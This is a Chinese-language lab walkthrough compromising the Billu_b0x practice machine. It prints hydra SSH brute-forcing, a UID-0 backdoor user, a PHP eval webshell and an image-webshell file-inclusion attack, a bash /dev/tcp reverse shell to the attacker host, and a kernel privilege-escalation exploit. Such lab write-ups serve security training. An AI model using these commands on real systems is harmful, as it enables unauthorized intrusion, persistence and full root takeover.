文章目录
实验环境
靶机: Billu_b0x——192.168.137.130
攻击机: Kali——192.168.137.128
工具: Nmap、dirb、NetCat(nc)、BurpSuit、Sqlmap、whatweb、Xshell等
实验步骤
一、信息收集
1.1 扫描主机所在网段进行主机发现
nmap -sP 192.168.137.0/24

排除法确定靶机ip为:192.168.137.130
1.2 端口扫描

开启了22(ssh服务)、80(http服务)端口
1.3 网站指纹信息扫描(whatweb)

1.4 dirb爆破Web目录
dirb 192.168.137.130

之后我用dirbuster又扫描了一遍:

二、web渗透
2.1 ssh爆破并获取shell
hydra -L /usr/share/wordlists/user.txt -P /usr/share/wordlists/password.txt -vV -t4 192.168.137.130 ssh

将用户名和密码都爆破出来了。
ssh登陆,可以成功拿到root权限

创建用户hacker,密码为hacker:
useradd hacker
passwd hacker

之后进入/etc/passwd下修改hacker用户的权限值为0 0

还存在一个原始用户ica
我们切换到普通用户ica,之后再切换为hacker:

hacker权限已变为root权限!
一般Linux的默认Web目录都在 /var/www 下,我们可以写入一句话木马shell.php:


2.2 web站点渗透
由于我们已经知道根目录下的文件了,经过尝试,从以下四个站点页面进行渗透:
http://192.168.137.130/index.php
http://192.168.137.130/add.php
http://192.168.137.130/test.php
http://192.168.137.130/phpmy/
2.2.1 index.php(登陆界面)

页面可能存在sql注入,使用sqlmap跑不出来
万能密码admin’ or ‘1’='1#也不起作用,就先放弃!
2.2.2 add.php (空壳文件)

发现无论上传什么文件,都没有任何效果,索性选择主动响应该请求,查看响应包:

貌似不能上传文件,过.
2.2.3 test.php(文件包含可利用)
打开时页面提示’file’ parameter is empty. Please provide file path in ‘file’ parameter,就是file参数为空,需要传入一个参数

并且在in.php页面中可以看到能够进行远程文件包含:

那就好办了:
使用bp将传参方式改为POST

index.php:
过滤了单引号,但还是没法注入,先搁置

c.php:
发现了链接数据库的账号密码:billu b0x_billu

2.2.4 phpmy (phpmyadmin)
在爆破ssh获得root权限之后我们还发现,/var/www/下存在一些没扫描出来的文件:

访问phpmy:

在ica_lab下的auth中收集到一组用户名和密码:
biLLu\hEx_it,应该就是登陆界面的账号密码

补充:
默认的phpmyadmin配置文件位于phpmyadmin文件夹下,一般以下两个都是:
phpmyadmin/libraries/config.default.php./config.inc.php
成功登录:

2.2.5 phpmyadmin挂马
继续phpmyadmin后台测试,尝试挂马

但是两种方式都必须满足三个条件:
1.未限制文件路径
2.当前用户有写文件权限
3.知道网站根目录
2.2.5.1 利用outfile写文件挂马**
首先查看mysql导出的默认路径,如下命令:
show variables like '%secure%'
并且mysql没有限制导出写入文件的路径,

但经过尝试我们没有写入文件的权限

2.2.5.2 利用日志文件挂马
继续试一下日志文件能否挂马,查看全局日志情况
show variables like '%general%';

当前全局日志是关闭状态,且路径已经指定,所以必须是在root权限下,打开全局日志并修改路径
set global general_log = on;
set global general_log_file = '指定路径';
依旧没有权限,放弃

2.2.6 上传图片马进行文件包含并反弹shell
在add user页面中可以上传图片马:

上传之后回到show user中,上传成功!

我们上传的图片马为stray.png,下面需要用该页面进行文件包含,在此之前我们需要知道上传图片的路径,网站根目录下存在/uploaded_images/,访问后可以看到我们上传的stray.png

回到panel.php,选择show user,进行抓包:
修改参数路径为图片所在位置:
load=/uploaded_images/aaa.jpg&continue=continue&hack=phpinfo();

放包后可以在浏览器查看到:证明我们包含成功

此时可以将eval函数改为system函数,用来执行Linux命令,建立反弹shell。重新制作图片马,一句话命令如下:

重新制作图片马(shell.png)进行上传:

之后继续进行抓包改参数:

测试成功,那就可以用bash来建立反弹shell了,stray值改为以下建立反弹shell命令:
stray=echo "bash -i >& /dev/tcp/192.168.137.128/4444 0>&1" | bash
stray=echo "bash -i >& /dev/tcp/192.168.137.130/4444 0>&1" | bash

在kali上使用nc监听4444端口:

但并没有反弹shell,上网上搜了一下,是需要将我们的数据进行url编码:

成功!


切换之前创建的超级用户hacker,提示需要使用一个terminal环境,使用以下python语句创建一个terminal环境,即可切换至root用户:
python -c 'import pty;pty.spawn("/bin/bash")'

到网站根目录下写马:
echo '<?php eval($_POST['stray']);?>' >>stray.php

可以用蚁剑连接:

三、Linux内核提权
uname -a :内核版本
cat /etc/issue:Linux系统版本
linux内核版本为:Linux indishell 3.13.0-32-generic
linux系统版本为:Ubuntu 12.04.5 LTS

在kali下查询对应版本的exp:
searchsploit Ubuntu 12.04

将文件复制,利用Webshell用蚁剑将其上传至网站下

赋予可执行权限:
chmod 777 37292.c

使用gcc编译文件:gcc 37292.c -o exp ,执行即可提权至root权限










